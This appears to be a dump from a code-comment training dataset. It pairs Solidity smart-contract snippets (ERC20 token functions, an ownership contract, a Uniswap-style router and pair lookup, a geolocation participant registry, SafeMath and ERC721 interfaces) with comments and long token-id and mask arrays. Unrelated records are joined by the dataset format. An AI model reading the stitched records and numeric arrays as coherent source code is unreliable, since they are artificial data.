function transfer(address to, uint tokens) public override returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public override returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public override returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public view override returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens /*, bytes memory data*/) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
// ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | ---------------------------------------------------------------------------- Owned contract ---------------------------------------------------------------------------- | contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
owner = 0x5968f23FEcc232715f9DF4c6CeB1069B6554bbEd;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
| 10,080,248 | [
1,
5802,
7620,
14223,
11748,
6835,
8879,
13849,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
14223,
11748,
288,
203,
565,
1758,
1071,
3410,
31,
203,
565,
1758,
1071,
394,
5541,
31,
203,
203,
565,
871,
14223,
9646,
5310,
1429,
4193,
12,
2867,
8808,
389,
2080,
16,
1758,
8808,
389,
869,
1769,
203,
203,
203,
565,
3885,
1435,
288,
203,
3639,
3410,
273,
374,
92,
6162,
9470,
74,
4366,
8090,
952,
22,
1578,
27,
3600,
74,
29,
4577,
24,
71,
26,
39,
73,
38,
2163,
8148,
38,
26,
2539,
24,
9897,
2671,
31,
203,
565,
289,
203,
203,
565,
9606,
1338,
5541,
288,
203,
3639,
2583,
12,
3576,
18,
15330,
422,
3410,
1769,
203,
3639,
389,
31,
203,
565,
289,
203,
203,
565,
445,
7412,
5460,
12565,
12,
2867,
389,
2704,
5541,
13,
1071,
1338,
5541,
288,
203,
3639,
394,
5541,
273,
389,
2704,
5541,
31,
203,
565,
289,
203,
565,
445,
2791,
5460,
12565,
1435,
1071,
288,
203,
3639,
2583,
12,
3576,
18,
15330,
422,
394,
5541,
1769,
203,
3639,
3626,
14223,
9646,
5310,
1429,
4193,
12,
8443,
16,
394,
5541,
1769,
203,
3639,
3410,
273,
394,
5541,
31,
203,
3639,
394,
5541,
273,
1758,
12,
20,
1769,
203,
565,
289,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x09547C53FF7EC3ccA0E7905a406cD862c12d08f8/sources/contracts/Routerv2.sol | calculates the CREATE2 address for a pair without making any external callshex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' init code hash | function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'0fce3c810c8defc80df78e7df5be6ae63c93666a537a942eabc4dc8298ff01c2'
))));
}
| 16,464,771 | [
1,
12780,
815,
326,
13278,
22,
1758,
364,
279,
3082,
2887,
10480,
1281,
3903,
745,
674,
338,
11,
10525,
73,
28,
1077,
9452,
4700,
30234,
1403,
28,
70,
26,
74,
8285,
6564,
8285,
7598,
29,
69,
5520,
74,
24,
4630,
7358,
6669,
28,
449,
3103,
7358,
1340,
27284,
71,
23,
73,
27,
2414,
5026,
28,
5193,
25,
74,
11,
225,
1208,
981,
1651,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
3082,
1290,
12,
2867,
3272,
16,
1758,
1147,
37,
16,
1758,
1147,
38,
13,
2713,
16618,
1135,
261,
2867,
3082,
13,
288,
203,
3639,
261,
2867,
1147,
20,
16,
1758,
1147,
21,
13,
273,
1524,
5157,
12,
2316,
37,
16,
1147,
38,
1769,
203,
3639,
3082,
273,
1758,
12,
11890,
12,
79,
24410,
581,
5034,
12,
21457,
18,
3015,
4420,
329,
12,
203,
7734,
3827,
11,
1403,
2187,
203,
7734,
3272,
16,
203,
7734,
417,
24410,
581,
5034,
12,
21457,
18,
3015,
4420,
329,
12,
2316,
20,
16,
1147,
21,
13,
3631,
203,
7734,
3827,
11,
20,
74,
311,
23,
71,
28,
2163,
71,
28,
536,
71,
3672,
2180,
8285,
73,
27,
2180,
25,
2196,
26,
8906,
4449,
71,
29,
5718,
6028,
69,
25,
6418,
69,
29,
9452,
73,
18947,
24,
7201,
28,
5540,
28,
1403,
1611,
71,
22,
11,
203,
5411,
262,
3719,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.5.2;
contract Geolocation {
address private creator;
enum Category {None, Hospital, Gym, Pharmacy}
uint256 public numberOfParticipants = 0;
mapping (address => uint256) addressToParticipantID;
mapping (uint256 => bool) public sharingEnabled;
mapping (uint256 => mapping(uint256 => bytes32)) participantCoordinates;
mapping (uint256 => uint256[]) participantDateTimes;
mapping (uint8 => bytes32[]) categoryToLocation;
mapping (bytes32 => Category) locationToCategory;
constructor() public payable {
creator = msg.sender;
}
/************************
// Participant Post Methods
************************/
/// @notice Posts location of msg.sender as a participant
/// @param _dateTime Unix time participant was at location
/// @param _lat Latitude of the participant rounded to the nearest 4 decimal degrees and multiplied by 10^4
/// @param _long Longitude of the participant rounded to the nearest 4 decimal degrees and multiplied by 10^4
function postParticipantLocation(uint256 _dateTime, int256 _lat, int256 _long) public {
if (addressToParticipantID[msg.sender] == 0) { // Check if msg.sender is a new Participant
numberOfParticipants ++; // Increment total number of participants
addressToParticipantID[msg.sender] = numberOfParticipants; // Assign the new participant a new ParticipantID
sharingEnabled[numberOfParticipants] = true; // Enable sharing of data
}
uint256 participantID = addressToParticipantID[msg.sender]; // Get ParticipantID
bytes32 curLoc = keccak256(abi.encodePacked(_lat, _long)); // Create a hash of the latitude and longitude
participantCoordinates[participantID][_dateTime] = curLoc; // Map geolocation hash to dateTime of ParticpantID
participantDateTimes[participantID].push(_dateTime); // Append new dateTime to PaticipantID
}
function postParticipantSharingPreference() public {
require(addressToParticipantID[msg.sender] != 0); // Require that participant exists
uint256 participantID = addressToParticipantID[msg.sender];
sharingEnabled[participantID] = !sharingEnabled[participantID];
}
/************************
// Participant Get Methods
************************/
function getParticipantID() public view returns (uint256) {
require(addressToParticipantID[msg.sender] != 0); // Require that user exists
return addressToParticipantID[msg.sender];
}
function getParticipantSharingStatus() public view returns (bool) {
require(addressToParticipantID[msg.sender] != 0); // Require that participant exists
uint256 participantID = addressToParticipantID[msg.sender];
return sharingEnabled[participantID];
}
function getParticipantNumberOfLocations() public view returns (uint256) {
uint256 participantID = addressToParticipantID[msg.sender];
return participantDateTimes[participantID].length;
}
function getParticipantDateTimeOfLocation(uint256 _index) public view returns (uint256) {
uint256 participantID = addressToParticipantID[msg.sender];
return participantDateTimes[participantID][_index];
}
function getParticipantCategory(uint256 _dateTime) public view returns (Category) {
uint256 participantID = addressToParticipantID[msg.sender];
return locationToCategory[participantCoordinates[participantID][_dateTime]];
}
/************************
// Third Party Post Methods
************************/
function postPOI(Category _POIname, uint256 _lat, uint256 _long) public {
bytes32 curLoc = keccak256(abi.encodePacked(_lat, _long));
if (_POIname == Category.Hospital) categoryToLocation[1].push(curLoc);
if (_POIname == Category.Gym) categoryToLocation[2].push(curLoc);
if (_POIname == Category.Pharmacy) categoryToLocation[3].push(curLoc);
locationToCategory[curLoc] = _POIname;
}
/************************
// Third Party Get Methods
************************/
function getSharingEnabled(uint256 _participantID) public view returns (bool) {
return sharingEnabled[_participantID];
}
function getNumberOfLocations(uint256 _participantID) public view returns (uint256) {
require(sharingEnabled[_participantID]); // Require that participant has allowed sharing
return participantDateTimes[_participantID].length;
}
function getDateTimeOfLocation(uint256 _participantID, uint256 _index) public view returns (uint256) {
require(sharingEnabled[_participantID]); // Require that participant has allowed sharing
return participantDateTimes[_participantID][_index];
}
function getCategory(uint256 _participantID, uint256 _dateTime) public view returns (Category) {
require(sharingEnabled[_participantID]); // Require that participant has allowed sharing
return locationToCategory[participantCoordinates[_participantID][_dateTime]];
}
}
| Check if msg.sender is a new Participant
| if (addressToParticipantID[msg.sender] == 0) { | 5,384,944 | [
1,
1564,
309,
1234,
18,
15330,
353,
279,
394,
31333,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
309,
261,
2867,
774,
22540,
734,
63,
3576,
18,
15330,
65,
422,
374,
13,
288,
10402,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/80001/0x57A88f6e773eE3901F20334bf0ED962D6479ABb6/sources/pacman/pacman.sol | Mapeo para almacenar las puntuaciones de los jugadores
| mapping(address => uint256) public playerScores; | 5,565,264 | [
1,
49,
1273,
83,
12602,
524,
5821,
6804,
27596,
293,
25348,
19861,
281,
443,
22148,
525,
637,
361,
3485,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
2874,
12,
2867,
516,
2254,
5034,
13,
1071,
7291,
20037,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x8B7A8CacE30cFB5570a6cff62E95e4c82DB52EBB/sources/Pika_Router1.sol | **** SWAP (supporting fee-on-transfer tokens) **** requires the initial amount to have already been sent to the first pair | function _swapSupportingFeeOnTransferTokens(address[] memory path, address _to) internal virtual {
for (uint i; i < path.length - 1; i++) {
(address input, address output) = (path[i], path[i + 1]);
(address token0,) = PikatokenswapV1Library.sortTokens(input, output);
IPikatokenswapV1Pair pair = IPikatokenswapV1Pair(PikatokenswapV1Library.pairFor(factory, input, output));
uint amountInput;
uint amountOutput;
(uint reserve0, uint reserve1,) = pair.getReserves();
(uint reserveInput, uint reserveOutput) = input == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
amountInput = IERC20(input).balanceOf(address(pair)).sub(reserveInput);
amountOutput = PikatokenswapV1Library.getAmountOut(amountInput, reserveInput, reserveOutput);
}
(uint amount0Out, uint amount1Out) = input == token0 ? (uint(0), amountOutput) : (amountOutput, uint(0));
address to = i < path.length - 2 ? PikatokenswapV1Library.pairFor(factory, output, path[i + 2]) : _to;
pair.swap(amount0Out, amount1Out, to, new bytes(0));
}
| 2,954,409 | [
1,
18746,
2203,
261,
13261,
310,
14036,
17,
265,
17,
13866,
2430,
13,
225,
4991,
326,
2172,
3844,
358,
1240,
1818,
2118,
3271,
358,
326,
1122,
3082,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
389,
22270,
6289,
310,
14667,
1398,
5912,
5157,
12,
2867,
8526,
3778,
589,
16,
1758,
389,
869,
13,
2713,
5024,
288,
203,
3639,
364,
261,
11890,
277,
31,
277,
411,
589,
18,
2469,
300,
404,
31,
277,
27245,
288,
203,
5411,
261,
2867,
810,
16,
1758,
876,
13,
273,
261,
803,
63,
77,
6487,
589,
63,
77,
397,
404,
19226,
203,
5411,
261,
2867,
1147,
20,
16,
13,
273,
453,
1766,
270,
3573,
91,
438,
58,
21,
9313,
18,
3804,
5157,
12,
2630,
16,
876,
1769,
203,
5411,
2971,
1766,
270,
3573,
91,
438,
58,
21,
4154,
3082,
273,
2971,
1766,
270,
3573,
91,
438,
58,
21,
4154,
12,
52,
1766,
270,
3573,
91,
438,
58,
21,
9313,
18,
6017,
1290,
12,
6848,
16,
810,
16,
876,
10019,
203,
5411,
2254,
3844,
1210,
31,
203,
5411,
2254,
3844,
1447,
31,
203,
5411,
261,
11890,
20501,
20,
16,
2254,
20501,
21,
16,
13,
273,
3082,
18,
588,
607,
264,
3324,
5621,
203,
5411,
261,
11890,
20501,
1210,
16,
2254,
20501,
1447,
13,
273,
810,
422,
1147,
20,
692,
261,
455,
6527,
20,
16,
20501,
21,
13,
294,
261,
455,
6527,
21,
16,
20501,
20,
1769,
203,
5411,
3844,
1210,
273,
467,
654,
39,
3462,
12,
2630,
2934,
12296,
951,
12,
2867,
12,
6017,
13,
2934,
1717,
12,
455,
6527,
1210,
1769,
203,
5411,
3844,
1447,
273,
453,
1766,
270,
3573,
91,
438,
58,
21,
9313,
18,
588,
6275,
1182,
12,
8949,
1210,
16,
20501,
1210,
16,
20501,
1447,
1769,
203,
5411,
289,
203,
2
] |
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC721 Non-Fungible Token Standard basic interface
* @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721Basic {
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function exists(uint256 _tokenId) public view returns (bool _exists);
function approve(address _to, uint256 _tokenId) public;
function getApproved(uint256 _tokenId) public view returns (address _operator);
function setApprovalForAll(address _operator, bool _approved) public;
function isApprovedForAll(address _owner, address _operator) public view returns (bool);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes _data) public;
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/*
Copyright 2017 Dharma Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
